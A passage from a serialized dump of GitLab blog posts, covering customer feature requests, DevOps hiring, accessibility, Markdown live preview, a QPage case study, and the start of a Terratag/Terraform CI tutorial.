architects](https://handbook.gitlab.com/job-families/sales/solutions-architect/) find it useful to subscribe to these issues, keeping them automatically updated on progress and discussion by the product team.\n\n**Getting the product team involved early on is essential** to the success of this workflow. Another essential element is that the CSMs bring their customers'feedback directly to the issue where the work is being planned and prioritized.\n\n**Contributing to GitLab:**   Once a product manager has triaged an issue and applied the appropriate [Product Development Workflow](/handbook/product-development-flow/) labels, it may be deemed that the feature is ready for the customer or community to help build the feature directly. Our motto is \"Everyone Can Contribute\", and the ~\"Accepting Merge Requests\" label ([handbook](/handbook/engineering/quality/triage-operations/#sts=Accepting%20merge%20requests)) is a great way to identify when a feature is ready for a community contribution. Customers who wish to contribute back to GitLab can ask for a [Merge Request Coach](https://handbook.gitlab.com/job-families/expert/merge-request-coach/) to help guide them through the process to ensure timely review and alignment with our engineering best practices.\n\nGitLab learned early on that creating a separate issue for customer feedback can get complicated and ends up being disjointed from where the product managers are doing their work.\n\nIn summary, best practices for delivering customer feature requests to the product team include:\n\n* Ensure the feedback is directly where the product managers are working and prioritizing features.\n* Provide only generic details on the customer with a link to internal confidential information, but provide as much detail as possible regarding the customer's use case and business need.\n* Share the feature request issue back with the customer. If they feel inclined, they can comment and add details. This builds trust between the customer, their account team, and the product team.\n* Labels and milestones are essential for tracking. If something is critical to the customer, make sure the labels and milestones indicate as such.\n* The feature request issue should act as the single source of truth for the customers' needs; aggregating this information elsewhere results in a disconnect between the need and the work.\n\nWatch the full discussion between Sid and Mike:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/JH2cFhoUzsI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\nSid discussing GitLab's best practices on tracking customer feedback with Fleet CEO Mike McNeil\n{: .note}\n\n",[1444,754,2705,2368],{"slug":17240,"featured":6,"template":678},"best-practices-customer-feature-request","content:en-us:blog:best-practices-customer-feature-request.yml","Best Practices Customer Feature Request","en-us/blog/best-practices-customer-feature-request.yml","en-us/blog/best-practices-customer-feature-request",{"_path":17246,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17247,"content":17252,"config":17256,"_id":17258,"_type":16,"title":17259,"_source":17,"_file":17260,"_stem":17261,"_extension":20},"/en-us/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain",{"title":17248,"description":17249,"ogTitle":17248,"ogDescription":17249,"noIndex":6,"ogImage":12013,"ogUrl":17250,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17250,"schema":17251},"Have DevOps jobs to fill? Try these 3 strategies to hire and retain","So many DevOps jobs posted, so few options to fill them. Here's why hiring and retaining developers is tricky, and how 3 thoughtful strategies, including a DevOps platform, can help.","https://about.gitlab.com/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Have DevOps jobs to fill? Try these 3 strategies to hire and retain\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-09-23\",\n      }",{"title":17248,"description":17249,"authors":17253,"heroImage":12013,"date":17236,"body":17254,"category":962,"tags":17255},[11618],"\nIf every company is a software company, how do you stand out from the crowd when it comes to attracting developer talent and filling DevOps jobs?\n\nThere’s a well-known, and worldwide, shortage of software developers, especially those with expertise in DevOps. Worse still, demand for those roles is accelerating rapidly: The US Bureau of Labor Statistics predicts employment opportunities for devs and testers will [increase 22% between 2020 and 2030](https://www.bls.gov/ooh/computer-and-information-technology/software-developers.htm#tab-6). That growth rate means nearly 190,000 net new developer/QA/test jobs will be opening each year, according to the BLS. \n\nThat’s all a long way of saying things are tough out there. Organizations looking to expand, or even just maintain, their DevOps jobs momentum have to find unique ways to stand out from the crowd because, as [many surveys have shown](https://hired.com/state-of-software-engineers#report), salary alone is often insufficient to both attract and retain developer talent.\n\n**Elevating your DevOps skills? Join us at [Commit at KubeCon - Oct. 11!](/events/commit/)**\n\nHere are 3 ways organizations can create an environment where DevOps can thrive, boosting developer retention, job satisfaction and even “cool place to work” street cred.\n\n## Make (a few) cool tools rule\n\nDevelopers are known for their big love of tools. In our [2021 Global DevSecOps Survey](/developer-survey/), more than one-quarter of respondents said they used between 5 and ten tool chains, and more than half said each tool chain had an average of 5 tools on it. Do the math and it’s clear that’s a lot of tools, and according to [research on software developer job satisfaction](https://link.springer.com/chapter/10.1007/978-1-4842-4221-6_10) too much information (i.e., from **too many tools**) can lead to less productivity and unhappy developers.\n\nThe solution to this very common problem can be found by adopting a DevOps platform, a single application where every stage of DevOps is interconnected, visible and seamless. And make sure that platform can integrate with all the key, cutting edge, “must have” kinds of tools that developers like to put on their resumes, and everyone will benefit from this streamlined approach.\n\n## Pay attention to career education\n\nDevelopers are always willing to DIY career education. The latest Stack Overflow Survey found about 60% of their survey takers [taught themselves coding via an online source](https://insights.stackoverflow.com/survey/2021#developer-profile-experience) – but that doesn’t mean they wouldn’t value (and take advantage of) training opportunities from employers. In our 2021 survey, a majority of developers said they’re most excited to learn about AI/ML, while ops pros were looking for education around advanced programming languages. \n\nBy asking DevOps team members about their interests and needs, organizations can keep a pulse on training opportunities they could offer that will actually matter to their teams and potentially make filling DevOps jobs easier.\n\n## Be flexible about everything\n\nFrom working remotely to working part-time, it’s clear that developers want the option to mix it up if possible. The more options - like having the time to pursue a degree or a passion - given to DevOps team members, the more likely they are to be satisfied with their jobs. \n\nAlso, time to pursue some “off the books” projects is another smart company perk. Don’t forget the role open source projects played in the pandemic (here are [a few examples](https://www.newamerica.org/digital-impact-governance-initiative/reports/building-and-reusing-open-source-tools-government/open-source-project-hubs-for-covid-19/)), making an already important part of a developer’s role even more compelling. In fact, more than 69% of our survey respondents told us they were involved with at least one open source project in 2021, and that number was up 6% from 2020.  \n\n## Don't forget DevOps\n\nIt’s a temperamental DevOps job market, certainly, but organizations with healthy DevOps practices do have one secret weapon: DevOps itself. When we asked our 4,300+ survey takers what the top benefits of DevOps was, “happier developers” was near the top of the list. \n\n## Read more on DevOps careers: \t\t\n\n- [Best advice for your DevOps career? Keep on learning](/blog/best-advice-for-your-devops-career-keep-on-learning/)\n\n- [6 tips to make software developer hiring easier](/blog/6-tips-to-make-software-developer-hiring-easier/)\n\n- [Four tips to increase your DevOps salary](/blog/four-tips-to-increase-your-devops-salary/)\n\n- [DevOps salaries in 2021: Where do you rank?](/blog/a-look-at-devops-salaries/)\n\n",[4103,7715,9297],{"slug":17257,"featured":6,"template":678},"have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain","content:en-us:blog:have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain.yml","Have Devops Jobs To Fill Try These 3 Strategies To Hire And Retain","en-us/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain.yml","en-us/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain",{"_path":17263,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17264,"content":17270,"config":17276,"_id":17278,"_type":16,"title":17279,"_source":17,"_file":17280,"_stem":17281,"_extension":20},"/en-us/blog/how-the-devops-platform-makes-building-accessible-software-easier",{"title":17265,"description":17266,"ogTitle":17265,"ogDescription":17266,"noIndex":6,"ogImage":17267,"ogUrl":17268,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17268,"schema":17269},"It's time to build more accessible software. A DevOps platform can help","Shifting accessibility left can make building accessible products simpler and more efficient. A DevOps platform makes it easier to customize and adjust priorities to suit your business needs.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667281/Blog/Hero%20Images/accessibility.jpg","https://about.gitlab.com/blog/how-the-devops-platform-makes-building-accessible-software-easier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"It's time to build more accessible software. A DevOps platform can help\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-09-21\",\n      }",{"title":17265,"description":17266,"authors":17271,"heroImage":17267,"date":17273,"body":17274,"category":962,"tags":17275},[17272],"Sara Kassabian","2021-09-21","\n\nThe earlier a feature or process is introduced in the multi-step software development lifecycle (SDLC), the more likely it is to be fully integrated into the product. \n\nIt's well documented how security can [shift left using a DevOps platform](/blog/devops-platform-supply-chain-attacks/), so it's time to make the case that accessbility needs to be thought about earlier (and, clearly, a DevOps platform can facilitate that too). Although there are laws that require applications to meet certain accessibility requirements, which [opens an application up to a broader user base](/blog/how-the-open-source-community-can-build-more-accessible-products/), rarely is accessibility considered a core product requirement. Instead, it is just a test tacked on at the end instead of being built into the DevOps platform process.\n\n**[Learn more about [how the open source development community helps build accessible software](/blog/how-the-open-source-community-can-build-more-accessible-products/)]**\n\n\"The problem really is that accessibility is not usually explicitly defined as a problem,\" said Segun Ola, a frontend web developer at engineering talent finder Andela, during a presentation at accessibility conference [axe-con](https://www.deque.com/axe-con/). \"Most of the time, developers go through the product lifecycle and we identify all the other problems with a product or all of the things we want to solve and ignore accessibility for the greater part.\"\n\n## Accessibility in software development: It starts with education\n\nOftentimes, omissions are unintentional and have more to do with a lack of awareness around why accessibility in software development is so important for many people living with disabilities and a key driver of business value. After all, the more accessible your product, the more users can benefit from it.\n\n\"I have met software engineers and designers who did not even know that there's a thing called a screen reader,\" Ola said. \"Just last week, I was reviewing some code and explaining why the code needed to be refactored. A junior engineer asked me ‘what is a screen reader?’ So I had to get on a call with him and show him how screen readers work. And then he asks me, ‘What's the point of a screen reader?’ And I had to tell him: ‘Oh yeah there are people who can't see the way you and I see.’\"\n\nThis is just one example of why having empathy and education around accessibility so important, says [Taurie Davis](/company/team/#tauriedavis), product design manager on Ecosystems at GitLab. Earlier in 2021, the GitLab UX team set a [goal to become a department of accessibility experts and advocates at GitLab](https://gitlab.com/groups/gitlab-org/-/epics/5235) by completing a 26-hour training at [Deque University](https://dequeuniversity.com/) on accessibility in software development.\n\n## Ignoring accessibility? Expect more technical debt\n\nSometimes software companies will see investment in accessibility components for a product as expensive and/or as a trade-off for innovation. Development teams that wait until the end of the SDLC to think about accessibility are more likely to have coded components that are inaccessible, only to have to go back and rework them to suit legal accessibility standards. This process can lead to an immense amount of technical debt.\n\n**Take a deep dive into [all aspects of the DevOps platform](/solutions/devops-platform/)**\n\n\"Once a team does start to become educated about accessibility and they have the empathy and have the drive to make the change and start shifting accessibility left it's easy to see all of the debt that you've accrued around accessibility,\" says Taurie. \"It can be really expensive to get yourself out of that debt.\" Taurie points to examples such as having to go back to change variables for color contrast, and ensuring that filtering and tab reordering can be done in a way that screen readers understand it.\n\n\"There are just so many different aspects and elements that could cause you to go back and just rewrite how the entire feature was originally developed and that can affect every aspect of your product,\" she adds.\n\n## Other barriers to implementing accessibility earlier\n\nFor UX designers like [Jeremy Elder](/company/team/#jeldergl), staff product designer on Ecosystems at GitLab, and Taurie, the typical workflow is about testing artifacts and responding to customer feedback, as opposed to thinking proactively about how someone might use the product.\n\n\"It’s more of a softer skill to think through a lot of those abstract ideas and what-ifs upfront rather than just saying, ‘Hey, we need this widget to do XYZ,’\" says Jeremy. \"Instead of asking questions like ‘how might somebody want to use this? How does it fit in their workflow?’. That is more inclusive thinking that helps you to do that, but it's harder and not as common.\"\n\n## Building accessible software isn’t just ethical, it drives business value\n\nOftentimes accessibility in software development is framed around building products to better serve people living with disabilities. While this is essential and ethical, accessibility can also be about building software products that can easily adapt to a user’s workflow.\n\n\"It’s more rigor around understanding workflows and how somebody is wanting to use it and less about focusing necessarily on a disability per se, or an outcome,\" says Jeremy. \"You want to think about personas or jobs to be done, not just think about the ultimate task, but how somebody is achieving that task.\"\n\n**[Ten key features](/topics/devops-platform/) of a DevOps platform**\n\nProducts that are customizable and adaptable are more likely to pique the interest of clients who have specific needs (e.g., a screenreader) or workflow preferences (e.g., using a particular type of keyboard).\n\n## What are the solutions?\n\nThe simplest solution to building more accessible software solutions is to think about accessibility at the beginning of the SDLC, rather than waiting until the end. Companies that use a complete DevOps platform like GitLab will find it simpler to take iterative steps toward shifting accessibility left. Need an example? Make accessibility part of the requirements a dev team needs to complete before a particular feature can be considered \"done.\" One way to do this would be to update issue templates and MR templates to ensure an accessibility step is part of the checklist.\n\nWhether it’s security or accessibility, shifting something left is about bringing the conversation to the beginning of the SDLC, something made much more straightforward with a DevOps platform. When it comes to accessibility, the more accessible the product is, the broader the pool of users (and future customers) can benefit.\n\n## Read more about the DevOps Platform:\n\n- [The journey to a DevOps Platform](/blog/the-journey-to-a-devops-platform/)\n\n- [How ten steps over ten years led to the DevOps Platform](/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform/)\n\n- [Making the case for a DevOps platform: What data and customers say](/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say/)\n\n- [Agile planning with a DevOps platform](/blog/agile-planning-with-a-devops-platform/)\n\n- [Welcome to the DevOps Platform era](/blog/welcome-to-the-devops-platform-era/)\n\n",[4103,676,815],{"slug":17277,"featured":6,"template":678},"how-the-devops-platform-makes-building-accessible-software-easier","content:en-us:blog:how-the-devops-platform-makes-building-accessible-software-easier.yml","How The Devops Platform Makes Building Accessible Software Easier","en-us/blog/how-the-devops-platform-makes-building-accessible-software-easier.yml","en-us/blog/how-the-devops-platform-makes-building-accessible-software-easier",{"_path":17283,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17284,"content":17289,"config":17294,"_id":17296,"_type":16,"title":17297,"_source":17,"_file":17298,"_stem":17299,"_extension":20},"/en-us/blog/introducing-markdown-live-preview",{"title":17285,"description":17286,"ogTitle":17285,"ogDescription":17286,"noIndex":6,"ogImage":12013,"ogUrl":17287,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17287,"schema":17288},"GitLab's realtime Preview Markdown is an editor for everyone","With GitLab's new realtime Preview Markdown, technical and non-technical team members can more easily work together. Here's everything you need to know.","https://about.gitlab.com/blog/introducing-markdown-live-preview","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's realtime Preview Markdown is an editor for everyone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Parker Ennis\"}],\n        \"datePublished\": \"2021-09-21\",\n      }",{"title":17285,"description":17286,"authors":17290,"heroImage":12013,"date":17273,"body":17292,"category":736,"tags":17293},[17291],"Parker Ennis","\n\nFostering better, more meaningful collaboration is an integral part of DevOps and a key part of what GitLab, the complete DevOps Platform, unlocks for developers and their teams. While many developers or engineers feel more comfortable working locally on their machines and spend a majority of their time using a CLI to push code changes, with GitLab you can also use the [Web Editor](https://docs.gitlab.com/ee/user/project/repository/web_editor.html) or [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) to collaborate and edit content in a much easier, faster, and approachable way. \n\nStarting in [GitLab 14.2](https://about.gitlab.com/releases/2021/08/22/gitlab-14-2-released/), editing Markdown content in the Web Editor or Web IDE just got even better.\n\n### Introducing the real-time Preview Markdown editor\n\n[GitLab Flavored Markdown](https://docs.gitlab.com/ee/user/markdown.html) automatically renders Markdown content in an easy-to-read and easy-to-write plain text language. Although Markdown is inherently more “human-readable” and versatile when writing rich web content, Markdown files can become tricky to work with as they become more verbose and complex. \n\nEasy-to-read and easy-to-write means different roles with varying degrees of technical experience can collaborate on content more efficiently and seamlessly. However, previewing the rendered output of Markdown content to validate the accuracy of any changes has not been as intuitive, requiring an extra step to switch out of the Web IDE or Web Editor where the raw source code lives in order to view the changes from the Preview tab. Frequent context-switching back and forth between tabs to validate changes leads to wasted time and can be disruptive to the creative process while writing content.\n\nIn GitLab 14.2, now both the Web IDE and Web Editor include [an option to preview Markdown in real-time, in a single window](/releases/2021/08/22/gitlab-14-2-released/#create-split-markdown-preview). A side-by-side preview panel will display when editing Markdown with a click of a button that will toggle a split view panel in the editor and render the content on the page you’re working on as the changes are being made. \n\nHere’s an example of what this new functionality looks like:\n\n![Example of real-time Markdown Preview side-by-side panels](https://about.gitlab.com/images/blogimages/markdown-live-preview.png){: .shadow.small}\n\n#### How do I use it?\n\nIt’s very straightforward to start using the side-by-side preview. When you are editing any Markdown file, even a newly created one, you can right-click the editor and select **Preview Markdown** or use `Command/Control + Shift + P` to toggle a split-screen live preview of your Markdown content. From there, all you need to do is start writing or editing content and you’ll see your changes in real time!\n\n![Example of the Preview Markdown button in the static editor](https://about.gitlab.com/images/blogimages/markdown-live-preview-hotkey.png){: .shadow.small}\n\n#### Everyone can contribute\n\nAt GitLab, [everyone can contribute](/company/mission/#everyone-can-contribute) and we welcome feedback in any form. As we usher in the [new DevOps Platform era ](/blog/welcome-to-the-devops-platform-era/) and wave goodbye to the all-too-familiar \"DIY\" style of DevOps, we're excited to iterate and improve with our wider community. \n\n## What is Markdown?\n \nMarkdown is a lightweight markup language for formatting text using a plain editor text. It was created by John Gruber and Aaron Swartz in 2004. It is now one of the most popular markup languages and is used mainly by writers and programmers to help them take notes, write quickly, and develop website content without figuring out how to use the formatting toolbar in text editors. A big part of its appeal is that you don't have to have any knowledge of HTML to use Markdown to write and create web pages.\n \nMarkdown is platform-independent and can be used to create websites, documents, notes, books, presentations, emails, and more. \n \nThere is some school of thought that Markdown is easier to write than HTML, and it's easier for most people to read Markdown source than HTML source. In fact, experts say you can learn Markdown in as little as 10 minutes.\n \n## What is Markdown used for?\n \nMarkdown can be used to format code in GitLab. Creating a markdown file in GitLab requires creating a new file with the .md extension. Once in the new file, the code can be written in Markdown syntax. When the code is finished, you can commit the file to your Git repository.\nWhile not as feature-laden as Microsoft Word, Markdown lets you create basic documents and use a Markdown document authoring app to export formatted documents to PDFs or HTML files.\n \nUsing Markdown is different than using a [WYSIWYG](https://en.wikipedia.org/wiki/WYSIWYG) editor. For example, in an application like Word, changes are visible immediately. Markdown is different. When a Markdown-formatted file is created, you add Markdown syntax to the text to indicate which words and phrases should look different.\n \n[For example,](https://www.markdownguide.org/getting-started/) to distinguish a heading, add a number sign before it (e.g., # Heading One). Or add two asterisks before and after a phrase to put it in bold (e.g., **this text is bold**). \nBolden and italicize text in Markdown without needing the WYSIWYG interface.\n\n",[1207,4103,774],{"slug":17295,"featured":6,"template":678},"introducing-markdown-live-preview","content:en-us:blog:introducing-markdown-live-preview.yml","Introducing Markdown Live Preview","en-us/blog/introducing-markdown-live-preview.yml","en-us/blog/introducing-markdown-live-preview",{"_path":17301,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17302,"content":17307,"config":17313,"_id":17315,"_type":16,"title":17316,"_source":17,"_file":17317,"_stem":17318,"_extension":20},"/en-us/blog/qpage-on-the-devops-platform",{"title":17303,"description":17304,"ogTitle":17303,"ogDescription":17304,"noIndex":6,"ogImage":6704,"ogUrl":17305,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17305,"schema":17306},"QPage improves deployment & efficiency using GitLab platform","QPage went from a homegrown CI/CD solution to the GitLab DevOps Platform and found more benefits than expected.","https://about.gitlab.com/blog/qpage-on-the-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How QPage achieved automatic deployment and efficiency using the GitLab DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-09-15\",\n      }",{"title":17308,"description":17304,"authors":17309,"heroImage":6704,"date":17310,"body":17311,"category":962,"tags":17312},"How QPage achieved automatic deployment and efficiency using the GitLab DevOps Platform",[711],"2021-09-15","Deployment automation is essential for any company involved in software development to stay competitive. [QPage](https://www.qpage.one/), a company that provides an end-to-end sourcing and recruitment solution for SMEs, realized it quickly and migrated to GitLab’s DevOps Platform to accelerate their deployment process.\n\nWe spoke with Pouya Lotfi, the co-founder of QPage, to see how they use GitLab at QPage and how it has helped the company.\n\n## Why GitLab?\n\nQPage was initially using a local bespoke CI/CD for about the first two months, but they soon realized they needed a more professional DevOps Platform system. Because Pouya and the team at QPage had already used GitLab at a previous employer, they knew it would be the right fit. So, they didn’t consider other options and opted for GitLab straight away.\n\n**Everything you need to know about [a DevOps platform](/solutions/devops-platform/)**\n\n \"We started from the local CI/CD, but soon we realized that would be something we can actually do with GitLab,” said Pouya Lotfi, co-founder QPage. “I had the experience with GitLab back in the other companies I was part of, so we soon actually migrated to GitLab, and we brought everything we could actually have in GitLab’s DevOps Platform to accelerate our deployment and the processes.”\n\nQPage chose GitLab’s paid subscription plan.\n\n## How GitLab’s DevOps Platform works\n\nQPage is using several CI/CD integrations that GitLab offers.\n\n\"We are using it end-to-end, but we did use the benefit of integrating it with other platforms as well,\" Pouya said.\n\nThey are using the GitLab-Kubernetes integration for CI/CD funnels, which allows building, testing, and deploying to cluster, as well as using Auto DevOps to automate the CI/CD process.\n\nAnother key integration for QPage is the JIRA integration - they get notifications and assign a ticket to one of the developers/engineers. However, a part of this process is still done manually as they are not yet using issues, boards, and milestones within GitLab. But, they are considering using GitLab altogether to automate the whole process.\n\n**Get the [most out of your DevOps platform](/topics/devops/seven-tips-to-get-the-most-out-of-your-devops-platform/)**\n\nQPage is also taking advantage of the Docker-GitLab integration. They use containers and images, push them through the GitLab CI and then finally deploy.\n\nThey start with the staging environment, then move to testing and QA, and finally, they push it to the production; their deployment and release part is divided into staging and production. For deployment, QPage is using cloud providers AWS and Digital Ocean.\n\n## The dev team and GitLab\n\nThe developers at QPage find GitLab an easy solution to work with because they already knew how it worked; one of QPage’s basic criteria to hire a developer or an engineer is to have experience with using GitLab or GitHub CI/CD.\n\nAdditionally, they find GiLab’s documentation very helpful. When they come across any problem with using GitLab, they quickly reach for the documentation to solve their problems. This eliminates the bottleneck of depending on one person on the team, who is an expert, to solve a problem.\n\n## Key DevOps Platform benefits\n\nOne of the major benefits QPage has seen from using GitLab is achieving automatic deployment. GitLab has made their CI/CD process more efficient as they have integrated it with tools like Kubernetes, Docker, and JIRA.\n\nThey believe the management within GitLab is also a huge plus where they can now test the codes and push them. Additionally, they like the visibility of work and collaboration among the developers. Their team can now know the status of the deployment in terms of whether it was successful or it failed and where it was deployed, such as the staging environment or the production.\n\n**How [DevOps gets easier](https://learn.gitlab.com/smb-devops-1/simplify-devops) with a DevOps platform**\n\nAnother big benefit of migrating to GitLab is the operational efficiency. Their deployment time has now reduced by 80% - with the local CI/CD, it took around 6-8 hours, but with GitLab, it’s between 15-20 minutes.\n\n \"In the beginning, when we had done it through the local server CI/CD, it would take around 6-8 or 10 hours, and that was a real hassle for us,\" Pouya said. “With our GitLab migration, and we push something to production, it takes like 15 to 20 to 30 minutes.”\n\nAlthough QPage has one main product, they have around 29 sub-products, like API algorithms, and they've seen great optimization in deployment with all of their products after using GitLab.\n\nLast but not least, QPage believes using GitLab is also cost-effective for them.",[4103,2705,1384],{"slug":17314,"featured":6,"template":678},"qpage-on-the-devops-platform","content:en-us:blog:qpage-on-the-devops-platform.yml","Qpage On The Devops Platform","en-us/blog/qpage-on-the-devops-platform.yml","en-us/blog/qpage-on-the-devops-platform",{"_path":17320,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17321,"content":17327,"config":17333,"_id":17335,"_type":16,"title":17336,"_source":17,"_file":17337,"_stem":17338,"_extension":20},"/en-us/blog/gitlab-together-with-terratag-open-source-to-help-you-manage-terraform-resources",{"title":17322,"description":17323,"ogTitle":17322,"ogDescription":17323,"noIndex":6,"ogImage":17324,"ogUrl":17325,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17325,"schema":17326},"How to use Terratag to manage Terraform tags automatically","This blog addresses how you can do that easily and automatically when using Terraform and Terratag (an open source project by env0) on top of the Gitlab CI/CD platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682137/Blog/Hero%20Images/blog-image.png","https://about.gitlab.com/blog/gitlab-together-with-terratag-open-source-to-help-you-manage-terraform-resources","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use Terratag to automatically manage tags and labels for your Terraform Code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2021-09-14\",\n      }",{"title":17328,"description":17323,"authors":17329,"heroImage":17324,"date":17330,"body":17331,"category":734,"tags":17332},"How to use Terratag to automatically manage tags and labels for your Terraform Code",[691],"2021-09-14","\n\nWhen using infrastructure as code (IaC) on a public cloud provider, it's important to use tags and labels to organize your IaC using their complementary services. Terratag, an open source project developed by [env0](http://www.env0.com), can be used with Terraform and placed on top of the GitLab CI/CD platform, making tagging and labeling IaC easier and more efficient.\n\nGitLab and Terraform make it easy to tag and label infrastructure as code.\n\n## Inside your toolbox\n\n[GitLab](https://about.gitlab.com/) the industry's leading DevOps platform. Not long ago, we announced the ability to control Terraform deployments, remote state management, private module registry, and merge request integration for Terraform. This gives users a range of solutions for running CI/CD for Terraform code and managing it on a large scale.\n\n[Terraform](https://www.terraform.io/) is the most widely adopted IaC framework out there. It's an open source project that is maintained by HashiCorp, and was launched in 2014 based on HashiCorp configuration language (HCL). Terraform is a command line (CLI) tool that can help manage and provision external resources such as public cloud infrastructure, private cloud infrastructure, network appliances, and SaaS and PaaS vendors. All major clouds are supported where AWS, Azure, and GCP have an official provider that are maintained internally by the HashiCorp Terraform team.\n\nAll major cloud providers support tagging/labeling for most of their resources using their Terraform provider, to help users manage infrastructure more efficiently. In this blog post, we provide some examples that show how it is easy to tag and label your IaC using Terratag with GitLab CI/CD – a core component of our DevOps platform.\n\n### How to automatically manage tags/labels for your Terraform Code\n\nFirst, we'll take a deep dive into the importance of tagging and labeling your IaC when using a public cloud provider. Next, we'll explain how to manage tags and labels for your IaC easily and automatically when using Terraform and [Terratag](https://terratag.io/) on top of the Gitlab CI/CD platform, with simple code examples for an end-to-end solution.\n\n### Why tags/labels are so important\n\nAll major cloud providers allow tagging (or labeling) cloud resources. Moreover, they encourage you to use tags or labels to do things like manage budgets, set up powerful automation algorithms, and unlock insights offered by the cloud providers and independent third parties.\n\nBy harnessing powerful IaC frameworks like Terraform, users can define and tag cloud resources for verticals ranging from the development to ops, as well as business needs.\n\n### The problem with tagging today\n\nTagging is a manual process, which can make it a real hassel, particularly as your infrastructure grows. Repeatedly tagging dozens or even hundreds of cloud resources is inefficient, but that's just the start of the problems. Manually tagging fails in other important ways too:\n\n* **Standards are hard to maintain if they're not enforced**: Your entire team needs to be on the same page – keeping an eye out for newly added cloud resources, making sure they include those tags or you may miss some significant resources when acting on that metadata later.\n\n* **Harder to change**: Applying changes to tag structure across the board quickly becomes unmanageable.\n\n* **Metadata can obscure what's important**: While tagging all this metadata is useful for slicing and dicing later, having it everywhere on your resources pollutes your IaC, making it more cumbersome and harder to maintain.\n\n* **Migration**: What if you already have plenty of Terraform modules with cloud resources, which weren't tagged to begin with? Trying to tag them all now can be painstaking work.\n\nAt the end of the day, IaC is, well, just code, and as is the case with any code, repetition makes it harder to fix errors, apply enhancements, make adjustments and maintain readability. As tagging is a cross-cutting concern, the lack of proper layering or aspect control makes it harder to retrofit existing solutions.\n\n### Terratag to the rescue\n\n[Terratag](https://terratag.io/) allows the user to automatically tag or label all the resources in their Terraform code. It also automatically tags all of your Terraform sub-modules, even if they don't expose tags as an input. Terratag is a CLI tool that works with all the major cloud providers including AWS, Google Cloud Platform, and Microsoft Azure, and solves the complicated problem of tagging resources across applications at scale. It eliminates the risk of human error, can retroactively tag IaC resources that were previously deployed, and helps you easily use the tags for various purposes, like cost management, organization, reporting, etc.\n\n### How to run Terraform with GitLab\n\nGitlab offers a wide range of tools for Terraform, starting with a [managed remote state](https://docs.gitlab.com/ee/user/infrastructure/terraform_state.html), running your deployment with [Gitlab CI/CD](https://docs.gitlab.com/ee/ci/), [Terraform private module registry](https://docs.gitlab.com/ee/user/packages/terraform_module_registry/index.html#publish-a-terraform-module-by-using-cicd) and [integration in Merge Requests (MRs)](https://docs.gitlab.com/ee/user/infrastructure/mr_integration.html) and getting Terraform plan output information into an MR.\n\nIn this tutorial, we use Gitlab CI/CD to deploy a Terraform repository into Google Cloud Platform and let Gitlab manage our remote state.\n\n### Combining Terraform wtih GitLab in GCP\n\nWe explain how to implement and combine Terraform and GitLab with ease, starting with building the deployment of our Terraform code using GitLab and then see the results in Google Cloud platform.\n\n### Terraform code with GitLab as a backend\n\nWe're using Terraform to deploy a simple VPC and a VM into GCP. We will use GitLab Terraform backend configuration, which is based on the Terraform [HTTP backend](https://www.terraform.io/docs/language/settings/backends/http.html). The beauty of this configuration is that you don't need to add any configuration regarding authentication when running it inside Gitlab CI/CD. GitLab will automatically set up all the relevant configuration for your backend according to the project it's running in.\n\nThe code is available in [the Terratag project created for this blog post](https://gitlab.com/env0/terratag-blog-post/-/tree/main).\n\n### Set up variables\n\nThis Terraform code needs some variables in order to run. We can set these up using Gitlab CI/CD variables. Under your Gitlab Project, go to Settings > CI/CD and expand the variable section. We will need to add three variables:\n\n* `GOOGLE_CREDENTIALS`: This variable value should be the JSON of your Google Cloud service account. [See this documentation](https://cloud.google.com/iam/docs/creating-managing-service-account-keys) on how to create a service account key.\n\n* `TF_VAR_project_id`: Your Google Cloud project ID.\n\n* `TF_VAR_machine_type`: The VM type you would like to create.\n\n![tg_1](https://about.gitlab.com/images/blogimages/2021-terratag-env0/tg_1.png)\n\n### Set up Gitlab CI/CD\n\nSetting up a Gitlab CI/CD for Terraform is really easy – all you need to do is add a simple file in your repository called `.gitlab-ci.yml` and add a configuration for each step of your Terraform deployment. We're going to add the following steps to our pipeline:\n\n* **Plan**: This step will run the `terraform init` and `terraform plan` commands and in the middle will also run Terratag to tag all the relevant resources. At the end it will also output the Terraform plan as a `JSON` file and create an artifact.\n\n* **Apply**: This step will run the `terraform apply` command. It depends on the plan to finish successfully. This step is done manually so we can check the plan before applying the 